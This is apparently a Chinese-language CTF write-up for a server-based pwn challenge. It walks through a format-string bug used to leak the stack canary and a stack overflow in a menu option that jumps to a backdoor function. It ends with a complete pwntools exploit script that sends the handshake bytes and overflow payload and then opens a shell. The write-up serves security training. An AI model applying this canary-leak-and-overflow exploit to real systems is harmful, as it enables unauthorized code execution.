首先,检查一下程序的保护机制
然后,我们用IDA分析一下
看似很复杂,我们发现这是一个服务器程序,并且一开始要发送特殊指令,才能显示出菜单
套接字初始化,绑定了本地端口0x539也就是1337
这里是接收指令
Unpack是将网络字节序转为本机字节序,如x86的小端
因此,我们一开始,为了显示出菜单,需要这样
1 2 3
| sh.sendline('zhaohai')
sh.sendline('a'*0x4 + '\x00\x00\x00\x0C\x00\x00\x00\x05')
|
然后,我们看到菜单的功能6,存在栈溢出
这里有后门函数
那么,我们只要泄漏canary,就可以溢出了
功能1存在一个格式化字符串漏洞,参数正式功能6里输入的v3,因此,我们可以利用格式化字符串漏洞来泄漏canary
综上,我们的exp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import *
getshell0 = 0x405524 sh = remote('127.0.0.1','1337')
def create(): sh.sendlineafter('Your Choice :','1') sh.sendlineafter('size:','256') sh.sendlineafter('rabbit info :','a') def show(): sh.sendlineafter('Your Choice :','4') sh.sendlineafter('idx:','0') sh.sendline('zhaohai')
sh.sendline('a'*0x4 + '\x00\x00\x00\x0C\x00\x00\x00\x05')
payload = 'S%12$p' sh.sendlineafter('Your Choice :','6') sh.sendlineafter('you can name the rabbit hole.',payload) create() show() sh.recvuntil('S') canary = int(sh.recvuntil('\n',drop = True),16) print 'canary=',hex(canary) payload = 'a'*0x8 + p64(canary) + p64(0) + p64(getshell0) sh.sendlineafter('Your Choice :','6') sh.sendlineafter('you can name the rabbit hole.',payload)
sh.sendlineafter('Your Choice :','5') sh.interactive()
|